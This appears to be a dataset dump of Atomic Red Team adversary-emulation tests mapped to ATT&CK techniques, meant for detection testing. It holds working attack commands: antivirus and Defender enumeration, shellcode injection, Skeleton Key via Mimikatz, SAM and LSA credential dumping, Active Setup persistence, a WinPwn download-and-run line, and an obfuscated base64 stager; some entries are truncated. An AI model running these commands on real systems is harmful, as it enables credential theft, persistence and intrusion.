deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - Sysmon Service
Platforms: windows
Executor: command_prompt

Description:
Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).

when sucessfully executed, the test is going to display sysmon driver instance if it is installed.


Command:
fltmc.exe | findstr.exe 385201
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - AV Discovery via WMI
Platforms: windows
Executor: command_prompt

Description:
Discovery of installed antivirus products via a WMI query.

when sucessfully executed, the test is going to display installed AV software.


Command:
wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets
Platforms: windows
Executor: command_prompt

Description:
Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell.

when sucessfully executed, information about installed AV software is displayed..


Command:
powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct
powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - Windows Defender Enumeration
Platforms: windows
Executor: powershell

Description:
Windows Defender Enumeration via different built-in windows native tools.
when sucessfully executed, information about windows defender is displayed.


Command:
Get-Service WinDefend #check the service state of Windows Defender
Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc
Get-MpThreat #threats details that have been detected using MS Defender
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - Windows Firewall Enumeration
Platforms: windows
Executor: powershell

Description:
Enumerates windows firewall to retrieves firewall rules from the target computer.

when sucessfully executed, details of windows firewall is displayed.


Command:
Get-NetFirewallProfile | Format-Table Name, Enabled
Get-NetFirewallSetting
Get-NetFirewallRule | select DisplayName, Enabled, Description
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Get Windows Defender exclusion settings using WMIC
Platforms: windows
Executor: command_prompt

Description:
In this test, a WMIC command is used to probe the local Windows system for the configuration of Windows Defender's exclusions. This command targets the MSFT_MpPreference 
class within the Windows Management Instrumentation (WMI) namespace, allowing the retrieval of critical settings such as disabled real-time monitoring and specified 
exclusion paths, file extensions, and processes. Attackers might use this approach to understand what is excluded from antivirus scans, enabling further exploitation.


Command:
wmic /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get /format:list | findstr /i /C:"DisableRealtimeMonitoring" /C:"ExclusionPath" /C:"ExclusionExtension" /C:"ExclusionProcess"
Atomic Red Team — T1055.003: Thread Execution Hijacking
Test: Thread Execution Hijacking
Platforms: windows
Executor: powershell

Description:
This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds. 

Command:
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"
Start-Sleep -Seconds 5
Stop-Process $notepad.id
# T1055.003 - Thread Execution Hijacking

## Description from ATT&CK

> Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
> 
> Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)
> 
> This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
> 
> Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

[Source](https://attack.mitre.org/techniques/T1055/003)

## Atomic Tests

- [Atomic Test #1: Thread Execution Hijacking](#atomic-test-1-thread-execution-hijacking)

### Atomic Test #1: Thread Execution Hijacking

This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the "Atomic Red Team" caption after one or two seconds.

**Supported Platforms:** Windows

**auto_generated_guid:** `578025d5-faa9-4f6d-8390-aae527d503e1`

#### Attack Commands: Run with `powershell`!

```powershell
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"
Start-Sleep -Seconds 5
Stop-Process $notepad.id
```
Atomic Red Team — T1528: Steal Application Access Token
Test: Azure - Functions code upload - Functions code injection via Blob upload
Platforms: iaas:azure
Executor: powershell

Description:
This test injects code into an Azure Function (RCE).

Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/

Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.

Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations). 
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".

Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Command:
az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {    
    $connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv

    # Download blob for cleanup
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
    az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true

    if ($LASTEXITCODE -eq 0) {
    

Cleanup:
az login    # Log in to Azure CLI

# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{b

Dependencies:
Azure CLI must be installed
Atomic Red Team — T1555.006: Credentials from Password Stores: Cloud Secrets Management Stores
Test: Azure - Dump All Azure Key Vaults with Microburst
Platforms: iaas:azure
Executor: powershell

Description:
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/

Command:
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$[CREDENTIAL_REDACTED]-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}


Cleanup:
remove-item #{output_file} -force -erroraction silentlycontinue


Dependencies:
The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.

The Azure RM module must be installed.

The Azure module must be installed.
Atomic Red Team — T1547.014: Active Setup
Test: HKLM - Add atomic_test key to launch executable as part of user setup
Platforms: windows
Executor: powershell

Description:
This test will create an "atomic_test" key under 'HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components' to launch calc by configuring an active setup executable and 
forcing to run active setup using the "runonce.exe /AlternateShellStartup" command. 
Without the "runonce.exe /AlternateShellStartup" command it would run during the next logon for each user.

Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. 
The payload will only run once unless the cleanup command is run in between tests.

[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)


Command:
New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" -Name "atomic_test" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "(Default)" "ART TEST" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" "StubPath" "#{payload}" -Force 
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

Cleanup:
Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
Atomic Red Team — T1547.014: Active Setup
Test: HKLM - Add malicious StubPath value to existing Active Setup Entry
Platforms: windows
Executor: powershell

Description:
This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}) 
Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. 
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.


Command:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}" "StubPath" "#{payload}" -Force
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup

Cleanup:
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}" -Name "StubPath" -Force
Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}" -Name "Version" -Force
Atomic Red Team — T1547.014: Active Setup
Test: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number
Platforms: windows
Executor: powershell

Description:
This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}) registry key for the current user, 
which will force the StubPath payload (if set) to execute.


Command:
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E[PII_REDACTED]00}" -Name "Version" -Value "0,0,0,0"
& $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
# T1556.001 - Modify Authentication Process: Domain Controller Authentication

## Description from ATT&CK

> Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.
> 
> Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)

[Source](https://attack.mitre.org/techniques/T1556/001)

## Atomic Tests

- [Atomic Test #1: Skeleton Key via Mimikatz](#atomic-test-1-skeleton-key-via-mimikatz)

### Atomic Test #1: Skeleton Key via Mimikatz

Injects a Skeleton Key into LSASS on a domain controller using Mimikatz. Once injected, any domain
user account can be authenticated using the password 'mimikatz' until the domain controller is rebooted.

This test must be run on an isolated domain controller and must not be performed on a production DC.
Cleanup forces a reboot of the domain controller to evict the skeleton key from LSASS memory.

**Supported Platforms:** Windows

**auto_generated_guid:** `0ee8081f-e9a7-4a2e-a23f[PII_REDACTED]4f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| mimikatz_path | Path to the mimikatz executable | path | C:&#92;ExternalPayloads&#92;Mimikatz&#92;x64&#92;mimikatz.exe|
| file_path | File path where the zipped mimikatz file is downloaded to | path | C:&#92;ExternalPayloads&#92;Mimikatz&#92;mimikatz.zip|
| mimikatz_url | The URL for the mimikatz release zip | url | https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip|
| directory_path | Directory path for mimikatz | path | C:&#92;ExternalPayloads&#92;Mimikatz|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
& "#{mimikatz_path}" "privilege::debug" "misc::skeleton" "exit"
```

#### Cleanup Commands

```powershell
Remove-Item -Path "#{directory_path}" -Recurse -ErrorAction Ignore
Restart-Computer -Force
```

#### Dependencies: Run with `powershell`!

##### Description: Mimikatz must be present on the host machine at

###### Check Prereq Commands

```powershell
if (Test-Path "#{mimikatz_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "#{directory_path}" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri "#{mimikatz_url}" -OutFile "#{file_path}"
Expand-Archive -LiteralPath "#{file_path}" -DestinationPath "#{directory_path}" -Force
```
Atomic Red Team — T1556.001: Modify Authentication Process: Domain Controller Authentication
Test: Skeleton Key via Mimikatz
Platforms: windows
Executor: powershell

Description:
Injects a Skeleton Key into LSASS on a domain controller using Mimikatz. Once injected, any domain
user account can be authenticated using the password 'mimikatz' until the domain controller is rebooted.

This test must be run on an isolated domain controller and must not be performed on a production DC.
Cleanup forces a reboot of the domain controller to evict the skeleton key from LSASS memory.


Command:
& "#{mimikatz_path}" "privilege::debug" "misc::skeleton" "exit"


Cleanup:
Remove-Item -Path "#{directory_path}" -Recurse -ErrorAction Ignore
Restart-Computer -Force


Dependencies:
Mimikatz must be present on the host machine at
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: Registry dump of SAM, creds, and secrets
Platforms: windows
Executor: command_prompt

Description:
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.


Command:
reg save HKLM\sam %temp%\sam
reg save HKLM\system %temp%\system
reg save HKLM\security %temp%\security


Cleanup:
del %temp%\sam >nul 2> nul
del %temp%\system >nul 2> nul
del %temp%\security >nul 2> nul
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: Registry parse with pypykatz
Platforms: windows
Executor: command_prompt

Description:
Parses registry hives to obtain stored credentials.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.


Command:
"#{venv_path}\Scripts\pypykatz" live lsa 


Dependencies:
Computer must have python 3 installed

Computer must have venv configured at #{venv_path}

pypykatz must be installed
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: esentutl.exe SAM copy
Platforms: windows
Executor: command_prompt

Description:
Copy the SAM hive using the esentutl.exe utility
This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.


Command:
esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}


Cleanup:
del #{copy_dest}\#{file_name} >nul 2>&1
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: PowerDump Hashes and Usernames from Registry
Platforms: windows
Executor: powershell

Description:
Executes a hashdump by reading the hashes from the registry.

Command:
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
Invoke-PowerDump

Dependencies:
PowerDump script must exist on disk at specified location
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: dump volume shadow copy hives with certutil
Platforms: windows
Executor: command_prompt

Description:
Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM".
This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)


Command:
for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*


Cleanup:
for /L %a in (1,1,#{limit}) do @(del %temp%\#{target_hive}vss%a >nul 2>&1)
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: dump volume shadow copy hives with System.IO.File
Platforms: windows
Executor: powershell

Description:
Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)


Command:
1..#{limit} | % { 
 try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}" , "$env:TEMP\#{target_hive}vss$_", "true") } catch {}
 ls "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}


Cleanup:
1..#{limit} | % {
  rm "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
samfile -consoleoutput -noninteractive
Atomic Red Team — T1003.002: OS Credential Dumping: Security Account Manager
Test: Dumping of SAM, creds, and secrets(Reg Export)
Platforms: windows
Executor: command_prompt

Description:
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior
Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.


Command:
reg export HKLM\sam %temp%\sam
reg export HKLM\system %temp%\system
reg export HKLM\security %temp%\security


Cleanup:
del %temp%\sam >nul 2> nul
del %temp%\system >nul 2> nul
del %temp%\security >nul 2> nul
Atomic Red Team — T1059.002: Command and Scripting Interpreter: AppleScript
Test: AppleScript
Platforms: macos
Executor: sh

Description:
Shell Script with AppleScript. The encoded python script will perform an HTTP GET request to 127.0.0.1:80 with a session cookie of "t3VhVOs/DyCcDTFzIKanRxkvk3I=", unless 'Little Snitch' is installed, in which case it will just exit. 
You can use netcat to listen for the connection and verify execution, e.g. use "nc -l 80" in another terminal window before executing this test and watch for the request.

Reference: https://github.com/EmpireProject/Empire


Command:
osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0
Atomic Red Team — T1124: System Time Discovery
Test: System Time Discovery
Platforms: windows
Executor: command_prompt

Description:
Identify the system time. Upon execution, the local computer system time and timezone will be displayed.


Command:
net time \\#{computer_name}
w32tm /tz